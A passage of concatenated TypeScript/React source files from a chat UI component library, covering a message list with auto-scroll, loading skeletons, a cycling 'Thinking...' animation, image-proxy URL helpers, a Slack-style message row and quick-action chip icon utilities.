e.g. the company-hub\n              // deck (native body scroll + sticky slide panels) would otherwise\n              // advance slides while you scroll the chat (fixed in #1501; kept as\n              // the prop default here). Passive in-page DEMO chats disable it so\n              // the surrounding page keeps scrolling normally when the pointer is\n              // over the (non-interactive) thread.\n              overscrollContain && \"overscroll-contain\",\n              \"scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30\",\n              className,\n            )}\n            {...props}\n          >\n            <div\n              ref={setContentRef}\n              className={cn(\n                // `fullWidth=true` drops the centered-narrow column for\n                // side-panel hosts (e.g. multi-platform-hub Mingo). Same\n                // semantics as ChatHeader / ChatInput / ChatFooter.\n                fullWidth\n                  ? \"flex w-full flex-col pb-[var(--spacing-system-xs)] min-w-0\"\n                  : \"mx-auto flex w-full max-w-ods-content-narrow flex-col pb-[var(--spacing-system-xs)] min-w-0\",\n                contentClassName ?? \"px-[var(--spacing-system-m)]\",\n              )}\n              style={{ minHeight: '100%' }}\n            >\n              {hasNextPage && (\n                <div ref={sentinelRef} className=\"h-px\" />\n              )}\n              <div className=\"flex-1\" />\n              {messages.map((message, index) => {\n                // Hidden messages (synthetic continuation prompts the host\n                // injects after an approval card) are part of the API\n                // conversation history but never render. Skipping here\n                // keeps the visible thread coherent — see\n                // `Message.hidden` doc-comment in message.types.ts.\n                if (message.hidden) return null\n                // ONE OWNER for the pending turn. Both send paths mint an empty\n                // assistant placeholder (the accumulation target — it MUST stay\n                // in state) and flip the phase to 'thinking'. Rendering it here\n                // too would put an author label with no body in the transcript\n                // WHILE the footer loader below already represents the same\n                // pending turn — two owners, and an `aria-live` log that\n                // announces a bare \"Mingo\". The footer loader wins (it is\n                // already `role=\"status\" aria-live=\"polite\"`, sits outside the\n                // scroller so it can't jitter the thread, and cycles the\n                // progress phrase), so the placeholder is not rendered AT ALL\n                // until it carries something visible — removed from the live\n                // region, not merely hidden. Mirrors `endSseTurn`, which prunes\n                // an empty trailing assistant AFTER a turn; this closes the same\n                // window BEFORE the first token. Any non-text segment (tool\n                // execution, approval card, thinking) counts as visible.\n                const isEmptyPendingTurn =\n                  index === messages.length - 1 &&\n                  isTyping &&\n                  message.role === 'assistant' &&\n                  !hasNonEmptyContent(message.content) &&\n                  (!Array.isArray(message.content) ||\n                    message.content.every((s) => s.type === 'text'))\n                if (isEmptyPendingTurn) return null\n                return (\n                  <ChatMessageEnhanced\n                    key={message.id}\n                    ref={getRegisterMessageEl(message.id)}\n                    role={message.role}\n                    name={message.name}\n                    content={message.content}\n                    timestamp={message.timestamp}\n                    isTyping={index === messages.length - 1 && isTyping && message.role === 'assistant'}\n                    avatar={showAvatars ? message.avatar : null}\n                    showAvatar={showAvatars}\n                    assistantType={message.assistantType || assistantType}\n                    approvalVariant={approvalVariant}\n                    authorType={message.authorType}\n                    assistantIcon={message.role !== 'user' ? assistantIcon : undefined}\n                    contextItems={message.contextItems}\n                    resolveContextIcon={resolveContextIcon}\n                    renderContextItem={renderContextItem}\n                    renderMention={renderMention}\n                    renderEntityCard={renderEntityCard}\n                    onAskSelect={index > lastUserMessageIndex ? onAskSelect : undefined}\n                    NavLinkAnchor={NavLinkAnchor}\n                  />\n                )\n              })}\n            </div>\n          </div>\n\n          {/* Jump to bottom. The manual escape hatch from auto-scroll that\n              every 2026 chat surface ships (AI Elements calls it\n              `ConversationScrollButton`) and the WCAG 2.2.2 counterpart to\n              moving content: the reader can always get back to the live\n              end without hunting for it. Positioned inside the scroller's\n              OWN `relative` wrapper above, so `bottom` really is the\n              scroller's lower edge and not the outer column's (which also\n              carries the streaming loader). It costs the thread no layout\n              height either way — a sibling would shrink the scroller and\n              move the very bottom it points at. Hidden while at the bottom\n              and in passive demo hosts. */}\n          {autoScroll && !atBottom && messages.length > 0 && (\n            <button\n              type=\"button\"\n              onClick={() => {\n                // Clicking IS the intent to return to the live end, so it\n                // re-arms the follow lock a scroll-up had released.\n                followBottomRef.current = true\n                void scrollToBottom({ animation: 'smooth' })\n              }}\n              aria-label=\"Scroll to latest message\"\n              className={cn(\n                \"absolute bottom-[var(--spacing-system-s)] left-1/2 -translate-x-1/2 z-10\",\n                \"flex items-center justify-center size-9 rounded-full\",\n                \"bg-ods-card text-ods-text-primary border border-ods-border shadow-lg\",\n                \"hover:bg-ods-bg-hover transition-colors\",\n              )}\n            >\n              <Arrow02DownIcon size={16} />\n            </button>\n          )}\n        </div>\n\n        {/* Footer-pinned streaming loader — outside the scroller so it\n            doesn't jitter as the streaming message grows. Color is set\n            via inline style (CSS var) rather than a Tailwind class so it\n            is JIT-independent when this lib is consumed via yalc. */}\n        {showStreamingLoader && (\n          <div\n            className={cn(\n              fullWidth\n                ? \"w-full flex items-center gap-[var(--spacing-system-xxs)] py-[var(--spacing-system-xs)]\"\n                : \"mx-auto w-full max-w-ods-content-narrow flex items-center gap-[var(--spacing-system-xxs)] py-[var(--spacing-system-xs)]\",\n              contentClassName ?? \"px-[var(--spacing-system-m)]\",\n            )}\n            style={{ color: 'var(--color-text-muted)' }}\n            role=\"status\"\n            aria-live=\"polite\"\n          >\n            <DotsLoaderIcon className=\"w-6 h-6\" />\n            <CyclingPhrase words={STREAMING_WORDS} className=\"text-h6\" />\n          </div>\n        )}\n\n        {/* Sticky Pending Approvals — outside the scroller; same\n            structure as the v1 baseline. The library's RO watches\n            `contentRef` (INSIDE the scroller), so height changes to\n            this sibling don't trigger the library directly. If a\n            future UX requires snapping to bottom when approvals\n            appear, that hookup goes here. */}\n        {pendingApprovals && pendingApprovals.length > 0 && (\n          <div className={cn(\n            \"border-t border-ods-border bg-ods-bg/95 backdrop-blur-sm\",\n            fullWidth ? \"w-full\" : \"mx-auto w-full max-w-ods-content-narrow\",\n            contentClassName ?? \"px-[var(--spacing-system-m)]\",\n          )}>\n            <ChatMessageEnhanced\n              role=\"assistant\"\n              name={assistantType === 'mingo' ? 'Mingo' : 'Fae'}\n              content={pendingApprovals}\n              timestamp={new Date()}\n              showAvatar={showAvatars}\n              assistantType={assistantType}\n              approvalVariant={approvalVariant}\n              assistantIcon={assistantIcon}\n              NavLinkAnchor={NavLinkAnchor}\n              className=\"py-3\"\n            />\n          </div>\n        )}\n      </div>\n      </OverlayOpenRegistryProvider>\n    )\n  },\n)\n\nChatMessageList.displayName = \"ChatMessageList\"\n\nexport { ChatMessageList }\n","\"use client\"\n\nimport { cn } from \"../../utils/cn\"\n\ninterface ChatMessageSkeletonProps {\n  className?: string\n  showAvatar?: boolean\n  isUser?: boolean\n  /** How many body lines to draw under the name row. Default 3 (paragraph-ish\n   *  reply). Pass 1 for surfaces whose real messages are single-line (e.g. the\n   *  short scripted hero-demo turns), so the skeleton isn't ~3x too tall. */\n  bodyLines?: number\n}\n\n// Body-line width palette: full-width lines then a short trailing line, so any\n// `bodyLines` count ends on a short line like a real wrapped message.\nconst BODY_LINE_WIDTHS = [\"w-full\", \"w-11/12\", \"w-4/5\", \"w-5/6\"]\nconst bodyLineWidth = (index: number, total: number) =>\n  index === total - 1 ? \"w-3/5\" : BODY_LINE_WIDTHS[index % BODY_LINE_WIDTHS.length]\n\n/**\n * One message-row skeleton. Mirrors `ChatMessageEnhanced`'s real layout:\n * full panel width, no card background, and an INLINE avatar in the name row\n * (the 2025 chat pattern — Claude.ai / ChatGPT / Gemini), NOT the legacy\n * `absolute -left-16` hanging avatar. Body lines use percentage widths so they\n * reflow cleanly as the panel resizes.\n */\nexport function ChatMessageSkeleton({\n  className,\n  showAvatar = true,\n  isUser = false,\n  bodyLines = 3,\n}: ChatMessageSkeletonProps) {\n  const lines = Math.max(1, bodyLines)\n  return (\n    <div className={cn(\"relative py-[var(--spacing-system-s)]\", className)}>\n      <div className=\"flex min-w-0 flex-col gap-[var(--spacing-system-xxs)]\">\n        {/* Name row — inline avatar (assistant only) + name + timestamp,\n            matching ChatMessageEnhanced's inline-avatar header. Neutral\n            `bg-ods-border` so the placeholders are actually visible (a tinted\n            low-alpha fill reads as blank on the dark surface). */}\n        <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n          {showAvatar && !isUser && (\n            <div className=\"h-8 w-8 flex-shrink-0 rounded-full bg-ods-border animate-pulse\" />\n          )}\n          <div className=\"h-5 w-32 rounded bg-ods-border animate-pulse\" />\n          <div className=\"ml-auto h-4 w-14 rounded bg-ods-border animate-pulse\" />\n        </div>\n\n        {/* Body lines — percentage widths so they reflow on panel resize. */}\n        <div className=\"flex flex-col gap-2 pt-[var(--spacing-system-xxs)]\">\n          {Array.from({ length: lines }, (_, i) => (\n            <div\n              key={i}\n              className={cn(\"h-4 rounded bg-ods-border animate-pulse\", bodyLineWidth(i, lines))}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  )\n}\n\ninterface ChatMessageListSkeletonProps {\n  className?: string\n  messageCount?: number\n  showAvatars?: boolean\n  /**\n   * Match `ChatMessageList`'s `fullWidth`: drop the centered\n   * `max-w-ods-content-narrow` column so the skeleton fills the panel and\n   * reflows on resize (instead of staying a fixed narrow column with large\n   * side gutters). Same semantics as the real list.\n   */\n  fullWidth?: boolean\n  /** Extra classes on the content column (e.g. host-provided padding). The\n   *  host wrapper is expected to own the panel padding; this stays empty by\n   *  default so the skeleton sits flush. */\n  contentClassName?: string\n  /** Body lines per message row (forwarded to `ChatMessageSkeleton`). Default 3;\n   *  pass 1 for single-line message surfaces. */\n  bodyLines?: number\n  /**\n   * FILL mode: top-anchor the rows and CLIP overflow (instead of bottom-anchoring\n   * + inner scroll). Combined with a generous `messageCount`, the rows cover the\n   * container top-to-bottom at ANY height — no per-container measuring, no empty\n   * band at the top. Use for loading surfaces that should read as \"the whole\n   * panel is loading\" rather than \"a short thread pinned to the bottom\".\n   */\n  fill?: boolean\n}\n\nexport function ChatMessageListSkeleton({\n  className,\n  messageCount = 6,\n  showAvatars = true,\n  fullWidth = false,\n  contentClassName,\n  bodyLines,\n  fill = false,\n}: ChatMessageListSkeletonProps) {\n  const messages = Array.from({ length: messageCount }, (_, index) => ({\n    id: index,\n    isUser: index % 3 === 0,\n  }))\n\n  return (\n    <div className=\"relative flex-1 min-h-0 flex flex-col\">\n      <div\n        className={cn(\n          \"flex h-full w-full flex-col flex-1\",\n          fill\n            ? \"overflow-hidden\"\n            : \"overflow-y-auto overflow-x-hidden overscroll-contain [scroll-behavior:smooth] scrollbar-thin scrollbar-track-transparent scrollbar-thumb-ods-border/30 hover:scrollbar-thumb-ods-text-secondary/30\",\n          className,\n        )}\n      >\n        <div\n          className={cn(\n            fullWidth\n              ? \"flex w-full flex-col min-w-0\"\n              : \"mx-auto flex w-full max-w-ods-content-narrow flex-col min-w-0\",\n            contentClassName,\n          )}\n          style={fill ? undefined : { minHeight: '100%' }}\n        >\n          {/* Bottom-anchor the rows like the real list — unless FILL mode wants\n              them top-anchored + clipped to cover the whole panel. */}\n          {!fill && <div className=\"flex-1\" />}\n          {messages.map((message) => (\n            <ChatMessageSkeleton\n              key={message.id}\n              showAvatar={showAvatars}\n              isUser={message.isUser}\n              bodyLines={bodyLines}\n            />\n          ))}\n        </div>\n      </div>\n    </div>\n  )\n}\n","\"use client\"\n\nimport { useEffect, useMemo, useState } from \"react\"\nimport { cn } from \"../../utils/cn\"\n\ninterface CyclingPhraseProps {\n  /** Words to cycle through. Cycle wraps around indefinitely. */\n  words: readonly string[]\n  /** Optional className applied to the outer span. */\n  className?: string\n  /** Milliseconds per character during the morph step. */\n  charMs?: number\n  /** Milliseconds to hold a fully-typed word before starting next morph. */\n  holdMs?: number\n}\n\n// Idempotent keyframe — multiple component instances share the same\n// CSS rule, no duplication issues.\nconst BLINK_KEYFRAMES = `\n  @keyframes cyclingCursorBlink {\n    50% { opacity: 0; }\n  }\n`\n\n/**\n * Terminal-style cycling word: a fixed-size block cursor walks left-\n * to-right through the word, overwriting the previous word's char at\n * each position with the new word's char (or trimming trailing chars\n * if the new word is shorter). On hold the cursor is hidden — the\n * morph is the only time it appears. A static \"...\" suffix follows\n * the word at all times.\n *\n * Visual sequence (Thinking → Vibing):\n *   Thinking... (hold, no cursor)\n *   V█hinking...  → Vi█inking... → ... → Vibing█...\n *   Vibing... (hold, no cursor)\n *   ...\n *\n * Width is pinned to the longest word in the list (rendered invisibly\n * underneath) so cycling doesn't shift the dots or surrounding layout.\n */\nexport function CyclingPhrase({\n  words,\n  className,\n  charMs = 60,\n  holdMs = 4500,\n}: CyclingPhraseProps) {\n  const [wordIndex, setWordIndex] = useState(0)\n  const [text, setText] = useState('')\n  const [cursor, setCursor] = useState(0)\n  const [holding, setHolding] = useState(false)\n\n  // Width-reservation: longest word + \"...\" sets the outer min-width.\n  const placeholder = useMemo(\n    () => words.reduce((longest, w) => (w.length > longest.length ? w : longest), ''),\n    [words],\n  )\n\n  useEffect(() => {\n    if (words.length === 0) return\n    const target = words[wordIndex]\n    let timeoutId: ReturnType<typeof setTimeout>\n\n    if (holding) {\n      timeoutId = setTimeout(() => {\n        setWordIndex((i) => (i + 1) % words.length)\n        setCursor(0)\n        setHolding(false)\n      }, holdMs)\n      return () => clearTimeout(timeoutId)\n    }\n\n    const maxLen = Math.max(text.length, target.length)\n    if (cursor >= maxLen) {\n      // Morph complete — pin to target and enter hold (cursor hides).\n      if (text !== target) setText(target)\n      setHolding(true)\n      return\n    }\n\n    timeoutId = setTimeout(() => {\n      setText((prev) => {\n        if (cursor < target.length) {\n          return target.slice(0, cursor + 1) + prev.slice(cursor + 1)\n        }\n        return prev.slice(0, cursor)\n      })\n      setCursor((c) => c + 1)\n    }, charMs)\n    return () => clearTimeout(timeoutId)\n  }, [wordIndex, cursor, text, holding, words, charMs, holdMs])\n\n  if (words.length === 0) return null\n\n  const before = text.slice(0, cursor)\n  const after = text.slice(cursor)\n\n  // Block cursor — consistent size regardless of phase. Same style\n  // every time it appears (no scaling/jitter). Blinks while visible.\n  const cursorBlock = (\n    <span\n      aria-hidden\n      className=\"inline-block bg-current align-baseline\"\n      style={{\n        width: '0.6em',\n        height: '1em',\n        verticalAlign: '-0.1em',\n        marginLeft: '1px',\n        marginRight: '1px',\n        animation: 'cyclingCursorBlink 1s steps(1) infinite',\n      }}\n    />\n  )\n\n  return (\n    <span className={cn(\"relative inline-block whitespace-nowrap\", className)}>\n      <style dangerouslySetInnerHTML={{ __html: BLINK_KEYFRAMES }} />\n      {/* Invisible placeholder — pins width to longest word + \"...\" */}\n      <span aria-hidden className=\"invisible\">{placeholder}...</span>\n      {/* Live layer */}\n      <span className=\"absolute inset-0 inline-flex items-baseline\" aria-live=\"polite\">\n        <span>{before}</span>\n        {!holding && cursorBlock}\n        <span>{after}</span>\n        <span>...</span>\n      </span>\n    </span>\n  )\n}\n","/**\n * Pure image-proxy URL builder + helpers.\n *\n * Lib-side replacement for the hub's `lib/utils/image-proxy.ts`. The\n * hub used to hardcode `/api/image-proxy` + an `openmsp.ai` skip-domain;\n * this version takes BOTH as parameters so embedded apps (and other\n * platforms that host the lib) can wire their own proxy prefix + skip\n * list at the runtime layer.\n *\n * Pure function — no side effects, no env reads. Callers thread the\n * proxy config through (typically from `ChatRuntime.endpoints.imageProxyUrlPrefix`).\n */\n\nexport type GetProxiedImageUrlOptions = {\n  /**\n   * URL prefix for the image proxy (`<prefix>?url=<encoded>`). When unset,\n   * `getProxiedImageUrl` returns the original URL unchanged — relative\n   * URLs always pass through. Hub default: `/api/image-proxy`.\n   */\n  proxyPrefix?: string;\n  /**\n   * Domains that should bypass the proxy (e.g. own-CDN hosts whose\n   * `Content-Type` is reliable and that already serve CORS-permitting\n   * headers). Matched as `imageUrl.includes(domain)` so subdomains\n   * inherit. Default: `[]`.\n   */\n  skipDomains?: string[];\n  /**\n   * Return the original `https://` URL so the browser loads it directly\n   * (no proxy). Use when upstream `Content-Type` breaks the proxy (common\n   * with SVG on some CDNs) or you want the origin to see the client\n   * request. HTTP stays proxied (mixed content / legacy).\n   */\n  directHttps?: boolean;\n};\n\n/**\n * Resolve an external image URL through (or around) the image proxy.\n *\n * Resolution order:\n *   1. `imageUrl` already contains `proxyPrefix` → return unchanged\n *      (self-skip — prevents double-wrap).\n *   2. `directHttps` set AND `imageUrl` starts with `https://` → return\n *      unchanged.\n *   3. `imageUrl` doesn't start with `http://` or `https://` → return\n *      unchanged (relative URLs pass through).\n *   4. `proxyPrefix` unset → return unchanged.\n *   5. `skipDomains` matches the URL's host → return unchanged.\n *   6. Else return `<proxyPrefix>?url=<encoded>`.\n */\nexport function getProxiedImageUrl(\n  imageUrl: string | null,\n  options?: GetProxiedImageUrlOptions,\n): string | null {\n  if (!imageUrl) return null;\n\n  const proxyPrefix = options?.proxyPrefix;\n  const skipDomains = options?.skipDomains ?? [];\n  const directHttps = options?.directHttps ?? false;\n\n  // (1) Self-skip — already proxied. Check this BEFORE the http/https\n  // gate so an absolute proxy URL passed in (e.g. `https://hub.example/api/image-proxy?url=…`)\n  // is treated as already-proxied even though it starts with https://.\n  if (proxyPrefix && imageUrl.includes(proxyPrefix)) {\n    return imageUrl;\n  }\n\n  // (3) Relative URLs / data: / blob: — return as-is.\n  if (!imageUrl.startsWith('http://') && !imageUrl.startsWith('https://')) {\n    return imageUrl;\n  }\n\n  // (2) Direct-https opt-out — only applies to https (http stays proxied).\n  if (directHttps && imageUrl.startsWith('https://')) {\n    return imageUrl;\n  }\n\n  // (4) No proxy configured — return as-is.\n  if (!proxyPrefix) {\n    return imageUrl;\n  }\n\n  // (5) Skip-list match.\n  for (const domain of skipDomains) {\n    if (imageUrl.includes(domain)) {\n      return imageUrl;\n    }\n  }\n\n  // (6) Proxy.\n  return `${proxyPrefix}?url=${encodeURIComponent(imageUrl)}`;\n}\n\n/**\n * Heuristic: URL path looks like an SVG. Useful with `{ directHttps: true }`\n * when only SVGs misbehave through the proxy; raster images can stay\n * proxied if you prefer.\n */\nexport function urlPathLooksLikeSvg(imageUrl: string): boolean {\n  try {\n    return /\\.svg$/i.test(new URL(imageUrl).pathname);\n  } catch {\n    return /\\.svg(\\?|#|$)/i.test(imageUrl);\n  }\n}\n\n/**\n * Check if an image URL needs to be proxied. `proxyPrefix` is the same\n * value passed to `getProxiedImageUrl` — used to short-circuit the\n * self-skip case.\n */\nexport function shouldProxyImage(\n  imageUrl: string | null,\n  proxyPrefix?: string,\n): boolean {\n  if (!imageUrl) return false;\n  if (!imageUrl.startsWith('http://') && !imageUrl.startsWith('https://')) return false;\n  if (proxyPrefix && imageUrl.includes(proxyPrefix)) return false;\n  return true;\n}\n\n/**\n * Generate a responsive `sizes` attribute for `<img>` / `<Image>` tags.\n * Pure utility — kept here for backwards-compatibility with the previous\n * stub.\n */\nexport function generateImageSizes(_url: string): string {\n  return `(max-width: 768px) 100vw, (max-width: 1200px) 50vw, 33vw`;\n}\n","'use client'\n\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { getProxiedImageUrl } from '../../../utils/image-proxy'\n\n/**\n * Hook-version of `getProxiedImageUrl` that reads `proxyPrefix` and\n * `skipDomains` from the ambient `ChatRuntime`. Use anywhere inside\n * a `<ChatRuntimeContext.Provider>`.\n *\n * Returns the input URL (or `''` for null/undefined) when no\n * `imageProxyUrlPrefix` is configured. Always passes `directHttps: true`\n * — callers that need proxied https (e.g. raster-only) must use the pure\n * `getProxiedImageUrl` from `@flamingo-stack/openframe-frontend-core/utils`\n * directly.\n *\n * Rules of hooks: call at the TOP of a component, NOT inside loops/maps.\n * For `.map(item => proxy(item.url))` patterns, use the pure\n * `getProxiedImageUrl` and hardcode the proxy config — the rare\n * non-React-tree caller pattern.\n */\nexport function useProxiedImageUrl(url: string | null | undefined): string {\n  const r = useRequiredChatRuntime()\n  return (\n    getProxiedImageUrl(url ?? '', {\n      proxyPrefix: r.endpoints.imageProxyUrlPrefix,\n      skipDomains: r.endpoints.imageProxySkipDomains,\n      directHttps: true,\n    }) ?? ''\n  )\n}\n","'use client'\n\n/**\n * `<ChatMessageRow>` — THE single source of truth for a Slack-channel-style\n * message row. Rendered by BOTH:\n *   - the OpenMSP Slack-community feed (hub `components/slack/chat-interface.tsx`)\n *   - the customer ticket conversation feed (lib `ticket-detail-drawer.tsx`)\n *\n * Both surfaces render THIS component, so they are pixel-identical by\n * construction — avatar size, font sizes, weights, spacing, and line-heights\n * can never drift apart. The markup is the verbatim Slack `MessageItem` layout\n * (avatar `w-8 h-8 md:w-10 md:h-10 rounded-lg object-cover` + bold name +\n * relative time + `whitespace-pre-wrap` body). Colors are ODS theme tokens\n * ONLY (`text-ods-text-primary` / `text-ods-text-secondary`). The `text-[Npx]`\n * / `font-body` / `leading-*` utilities are FONT/SIZE, not color — they are\n * required to match the Slack typography exactly.\n *\n * `footer` is the only per-surface variation slot: the Slack feed passes its\n * \"N replies\" badge; the ticket feed passes `<TicketAttachmentsList>`.\n */\n\nimport Image from '../../embed-shims/next-image'\nimport { getFirstLastInitials } from '../../utils/format'\nimport { useProxiedImageUrl } from './hooks/use-proxied-image-url'\nimport { useState, type ReactNode } from 'react'\n\nexport interface ChatMessageRowProps {\n  /** Display name (bold, top-left). */\n  displayName: string\n  /** Avatar image URL. Proxied via `useProxiedImageUrl`; falls back to\n   *  initials in a same-sized `rounded-lg` box when absent. */\n  avatarUrl?: string | null\n  /** Pre-formatted relative-time label (e.g. \"2h ago\"). Caller formats it —\n   *  Slack passes its server `displayTime`, tickets pass\n   *  `formatRelativeTime(createdAt)`. Empty/undefined hides the time. */\n  timeLabel?: string | null\n  /** Message body. Empty + no footer renders nothing under the header. */\n  body: string\n  /** Per-surface slot under the body: Slack reply badge / ticket attachments. */\n  footer?: ReactNode\n}\n\nexport function ChatMessageRow({\n  displayName,\n  avatarUrl,\n  timeLabel,\n  body,\n  footer,\n}: ChatMessageRowProps) {\n  // Avatars load directly from their (https) host — same as the rest of the app,\n  // so the browser disk-caches them (Google/etc. send `cache-control: max-age`).\n  // `useProxiedImageUrl` only rewrites http/relative URLs; https pass through.\n  const proxiedAvatar = useProxiedImageUrl(avatarUrl ?? '')\n  const resolvedAvatar = proxiedAvatar || avatarUrl || undefined\n  // Fall back to the initials box if the avatar load FAILS (transient CDN 429,\n  // ad-blocker, dead URL) instead of showing a broken image. Keyed on the URL\n  // (not a bool) so a later render with a DIFFERENT avatar re-attempts the load\n  // rather than inheriting a stale failure.\n  const [failedSrc, setFailedSrc] = useState<string | null>(null)\n  const src = resolvedAvatar && resolvedAvatar !== failedSrc ? resolvedAvatar : undefined\n  const hasBody = body.trim().length > 0\n\n  return (\n    <div className=\"flex gap-2 md:gap-3 w-full min-w-0\">\n      {/* Avatar — verbatim Slack sizing: 32px → 40px, rounded-lg, object-cover.\n          Initials fallback uses the SAME box so layout is identical with or\n          without an image. */}\n      {src ? (\n        <Image\n          src={src}\n          alt={displayName}\n          className=\"w-8 h-8 md:w-10 md:h-10 rounded-lg object-cover flex-shrink-0\"\n          width={40}\n          height={40}\n          onError={() => setFailedSrc(resolvedAvatar ?? null)}\n        />\n      ) : (\n        <div className=\"w-8 h-8 md:w-10 md:h-10 rounded-lg flex-shrink-0 flex items-center justify-center bg-ods-bg border border-ods-border text-h6 text-ods-text-primary\">\n          {getFirstLastInitials(displayName) || '?'}\n        </div>\n      )}\n\n      {/* Message content */}\n      <div className=\"flex-1 min-w-0 max-w-full\">\n        {/* Header — name + relative time. Verbatim Slack typography. */}\n        <div className=\"flex items-center gap-2 max-w-full mb-1 min-w-0\">\n          <span className=\"text-[14px] md:text-[15px] font-bold leading-[1.33] text-ods-text-primary font-body tracking-[-0.02em] truncate\">\n            {displayName}\n          </span>\n          {timeLabel && (\n            <span className=\"text-h6 text-ods-text-secondary flex-shrink-0\">\n              {timeLabel}\n            </span>\n          )}\n        </div>\n\n        {/* Body — verbatim Slack: 12/14px, pre-wrap, break-words. */}\n        {hasBody && (\n          <div className=\"text-h6 text-ods-text-primary whitespace-pre-wrap break-words min-w-0 max-w-full\">\n            {body}\n          </div>\n        )}\n\n        {footer}\n      </div>\n    </div>\n  )\n}\n\n/**\n * Skeleton with 1:1 structural parity to `<ChatMessageRow>` — SAME wrapper\n * (`flex gap-2 md:gap-3`), SAME avatar box (`w-8 h-8 md:w-10 md:h-10\n * rounded-lg`), SAME header `mb-1`, and bar heights matching the real\n * name/time/body line-heights so the loading→loaded swap does not reflow.\n */\nexport function ChatMessageRowSkeleton() {\n  // Bars use `bg-ods-border` (NOT `bg-ods-skeleton` — that token resolves to\n  // transparent in this build, leaving the box visually empty).\n  return (\n    <div className=\"flex gap-2 md:gap-3 w-full min-w-0\">\n      <div className=\"w-8 h-8 md:w-10 md:h-10 rounded-lg flex-shrink-0 bg-ods-border animate-pulse\" />\n      <div className=\"flex-1 min-w-0\">\n        {/* Header row — name + time bars, same mb-1 + gap-2 as the real header. */}\n        <div className=\"flex items-center gap-2 mb-1\">\n          <div className=\"h-[15px] md:h-[20px] w-24 md:w-32 bg-ods-border rounded animate-pulse\" />\n          <div className=\"h-[12px] md:h-[16px] w-12 md:w-16 bg-ods-border rounded animate-pulse\" />\n        </div>\n        {/* Two body lines — match the 12/14px body line-height. */}\n        <div className=\"h-[14px] md:h-[18px] w-full bg-ods-border rounded animate-pulse\" />\n        <div className=\"h-[14px] md:h-[18px] w-3/4 bg-ods-border rounded animate-pulse mt-1\" />\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Tag } from '../ui/tag'\nimport { EntityIcon, type EntityIconValue } from '../icon-display'\n\n// =============================================================================\n// Types\n// =============================================================================\n\n/** Accent tint for quick-action chip icons: a named brand token\n *  (`'pink'`/`'cyan'`) or ANY CSS color value coming from admin config\n *  (agent/persona `icon_props.color`). */\nexport type QuickActionAccent = 'pink' | 'cyan' | (string & {})\n\n/** THE built-in agent→accent pairs ({@link getAgentAccent} derives from it). */\nconst AGENT_ACCENTS = { fae: 'pink', mingo: 'cyan' } as const\n\n/**\n * FALLBACK-ONLY agent→accent mapping (fae→pink, mingo→cyan) for the built-in\n * agents when nothing is configured. A color configured on the entity itself —\n * the quick action's `iconProps.color`, or the agent/persona identity\n * `icon_props.color` — always wins over this map; callers must resolve the\n * configured value first and only fall back here. Never re-inline the slug\n * comparison elsewhere.\n */\nexport function getAgentAccent(slug: string | null | undefined): QuickActionAccent | undefined {\n  return slug === 'fae' || slug === 'mingo' ? AGENT_ACCENTS[slug] : undefined\n}\n\n/** Admin-configured identity color (`icon_props.color` on the agent/persona\n *  row) → chip accent. Undefined when the identity doesn't set one. */\nexport function accentFromIdentityIcon(\n  icon: { props?: Record<string, unknown> | null } | null | undefined,\n): QuickActionAccent | undefined {\n  const color = icon?.props?.color\n  return typeof color === 'string' && color.length > 0 ? color : undefined\n}\n\n/**\n * Declarative icon for a quick-action chip, resolved 100% by `<EntityIcon>`\n * (url → fae/mingo `AgentMark` → icons-v2 glyph → file fallback):\n * - \"agent format\" — `{ name: 'fae' }` / `{ name: 'mingo' }` renders the\n *   packaged agent mark (fills the chip's icon box; `accent` is ignored — the\n *   marks carry their own colors).\n * - \"config format\" — `{ name, url, props, accent }` renders the\n *   admin-configured icon; `accent` tints registry glyphs via a\n *   `text-ods-flamingo-*` class on `currentColor`.\n *\n * If `props.color` is set it wins over `accent` — the accent is a class tint\n * on `currentColor`, the prop is an explicit fill (EntityIcon spreads `props`\n * onto the glyph last).\n */\nexport interface QuickActionIconSpec extends EntityIconValue {\n  accent?: QuickActionAccent\n  /** Glyph size in px. Defaults to 16 (the chip design's config-icon size);\n   *  agent marks size via the icon box instead. */\n  size?: number\n}\n\nconst ACCENT_CLASS: Record<string, string> = {\n  pink: 'text-ods-flamingo-pink',\n  cyan: 'text-ods-flamingo-cyan',\n}\n\n/** A spec is a plain data object, never a React element — so any non-element,\n *  non-array object is a spec; strings, elements, fragments, and ReactNode\n *  ARRAYS stay ReactNode. */\nexport function isQuickActionIconSpec(\n  icon: React.ReactNode | QuickActionIconSpec | undefined,\n): icon is QuickActionIconSpec {\n  return typeof icon === 'object' && icon !== null && !Array.isArray(icon) && !React.isValidElement(icon)\n}\n\n/** Resolve a chip `icon` prop to a renderable node. Specs go through\n *  `<EntityIcon>`; ReactNodes pass through untouched. */\nexport function renderQuickActionIcon(\n  icon: React.ReactNode | QuickActionIconSpec | undefined,\n): React.ReactNode {\n  if (!isQuickActionIconSpec(icon)) {\n    return icon\n  }\n  const spec = icon\n  if (!spec.name && !spec.url) return undefined\n  // Named brand tokens tint via a text class on `currentColor`; any other\n  // accent value is an admin-configured CSS color, delivered as the glyph's\n  // DEFAULT `color` prop — an explicit per-action `props.color` (spread after)\n  // still wins.\n  const accentClass = spec.accent ? ACCENT_CLASS[spec.accent] : undefined\n  const props =\n    spec.accent && !accentClass ? { color: spec.accent, ...(spec.props ?? {}) } : spec.props\n  return (\n    <EntityIcon\n      icon={{ name: spec.name, url: spec.url, props }}\n      size={spec.size ?? 16}\n      className={accentClass}\n    />\n  )\n}\n\n/**\n * Compact category/status affix rendered INSIDE the chip at the label's\n * leading edge (Atlassian-lozenge / M3 leading-slot pattern — category as\n * text, never color alone). `className` drives the text color (e.g.\n * `text-ods-warning`); the tinted background derives from `currentColor`,\n * so one utility styles both.\n */\nexport interface QuickActionChipLozenge {\n  label: React.ReactNode\n  className?: string\n}\n\n// =============================================================================\n// Themes\n// =============================================================================\n\n/**\n * A caller-supplied chip theme — the accent (and optional classification\n * lozenge) for \"who does this work\". The lib deliberately ships NO theme\n * registry and NO fallbacks: agent colors are server-configured (resolve via\n * {@link accentFromIdentityIcon} on the agent row's `icon_props.color`, or\n * {@link getAgentAccent} for the built-in agents) and category pairs are\n * product decisions — the CONSUMER defines its specs and injects them, per\n * chip or as a wall default.\n */\nexport interface QuickActionThemeSpec {\n  /** Chip 